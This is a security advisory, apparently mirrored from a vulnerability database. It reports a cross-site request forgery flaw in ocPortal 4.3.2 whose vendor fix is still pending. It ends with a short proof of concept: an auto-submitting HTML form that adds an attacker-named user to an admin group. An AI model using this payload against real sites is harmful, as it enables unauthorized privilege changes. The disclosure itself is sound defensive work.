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securityvulnsSecurityvulnsSECURITYVULNS:DOC:23904
HistoryMay 21, 2010 - 12:00 a.m.

XSRF (CSRF) in ocPortal

2010-05-2100:00:00
vulners.com
14

Vulnerability ID: HTB22369
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_ocportal.html
Product: ocPortal
Vendor: ocProducts Ltd
Vulnerable Version: 4.3.2 and Probably Prior Versions
Vendor Notification: 05 May 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/site/index.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/site/index.php?page=groups&amp;type=add_to&amp;id=2&quot; method="post" >
<input type="hidden" name="username" value="hacker" >
</form>
<script>
document.forms[0].submit()
</script>